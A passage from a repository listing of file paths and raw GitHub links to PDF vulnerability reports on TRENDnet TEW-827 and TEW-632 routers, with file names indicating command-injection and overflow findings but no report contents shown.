https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-auto_up_lp.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-dhcp_connect.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-dhcp_connect.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-icp_upload.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-icp_upload.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-kick_ban_wifi.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-kick_ban_wifi.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-ping_test.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-ping_test.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-pppoe.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-pppoe.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-send_log_email.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-send_log_email.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-set_sta_enrollee.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-set_sta_enrollee.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-st_dev.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-st_dev.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/TRENDnet-wifi_captive.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/TRENDnet-wifi_captive.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/auto_up_fw_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/auto_up_fw_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/auto_up_lp_delete_file.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/auto_up_lp_delete_file.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/auto_up_lp_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/auto_up_lp_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/dhcp_connect_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/dhcp_connect_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/icp_upload_img_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/icp_upload_img_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/kick_ban_wifi_mac_allow_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/kick_ban_wifi_mac_allow_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/kick_ban_wifi_mac_allow_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/kick_ban_wifi_mac_allow_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/kick_ban_wifi_mac_deny_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/kick_ban_wifi_mac_deny_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/kick_ban_wifi_mac_deny_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/kick_ban_wifi_mac_deny_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/ping_test_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/ping_test_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/send_log_email_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/send_log_email_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/send_log_email_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/send_log_email_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/set_sta_enrollee_pin_wifi_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/set_sta_enrollee_pin_wifi_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/set_sta_enrollee_pin_wifi_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/set_sta_enrollee_pin_wifi_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/st_dev_connect_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/st_dev_connect_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/st_dev_connect_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/st_dev_connect_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/st_dev_disconnect_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/st_dev_disconnect_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/st_dev_disconnect_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/st_dev_disconnect_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/st_dev_rconnect_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/st_dev_rconnect_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/st_dev_rconnect_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/st_dev_rconnect_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/wifi_captive_portal_login_command.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/wifi_captive_portal_login_command.pdf -------------------------------------------------------------------------------- /Trendnet/TEW-827/wifi_captive_portal_login_overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/TEW-827/wifi_captive_portal_login_overflow.pdf -------------------------------------------------------------------------------- /Trendnet/Trendnet-TEW-632.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kuc001/IoTFirmware/851090ccc8579f801d319125ffbcde8ef281f140/Trendnet/Trendnet-TEW-632.pdf --------------------------------------------------------------------------------